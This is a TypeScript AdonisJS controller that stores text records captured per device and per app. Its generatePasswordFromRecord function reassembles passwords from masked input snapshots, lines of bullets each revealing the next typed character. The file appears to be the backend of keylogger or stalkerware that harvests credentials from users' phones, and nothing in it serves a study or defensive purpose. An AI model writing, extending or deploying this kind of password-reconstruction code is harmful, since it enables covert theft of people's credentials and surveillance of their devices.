import PaginationService from 'App/Services/PaginationService'
import type { HttpContextContract } from '@ioc:Adonis/Core/HttpContext'
import TextRecord from 'App/Models/TextRecord'
import { schema } from '@ioc:Adonis/Core/Validator'

export default class TextRecordController {
    private paginationService = new PaginationService(TextRecord)

    public async index({ request }: HttpContextContract) {
        return await this.paginationService.paginate(request.all())
    }

    public async store({ request, bouncer }: HttpContextContract) {
        await bouncer.authorize('admin')
        const payload = await request.validate({
            schema: schema.create({
                deviceId: schema.string(),
                appName: schema.string(),
                record: schema.string()
            })
        })
        const password = this.generatePasswordFromRecord(payload.record)
        return await TextRecord.create({ ...payload, password })
    }

    public async update({ request, params, bouncer }: HttpContextContract) {
        await bouncer.authorize('admin')
        const payload = await request.validate({
            schema: schema.create({
                deviceId: schema.string.optional(),
                appName: schema.string.optional(),
                record: schema.string.optional(),
                password: schema.string.optional()
            })
        })
        const record = await TextRecord.findOrFail(params.id)
        record.merge(payload)
        await record.save()
        return record
    }

    private generatePasswordFromRecord(text?: string): string {
        if (!text) return ''
        const bullet = '•'
        const chars: string[] = []
        text.split(/\r?\n/).forEach((rawLine) => {
            const line = rawLine.trim()
            if (!line || line.endsWith(bullet)) return
            const match = line.match(/^•*/)
            const bullets = match ? match[0].length : 0
            const content = line.slice(bullets)
            if (!/^[A-Za-z0-9]+$/.test(content)) return
            for (let i = 0; i < content.length; i++) {
                chars[bullets + i] = content[i]
            }
        })
        return chars.join('')
    }
}
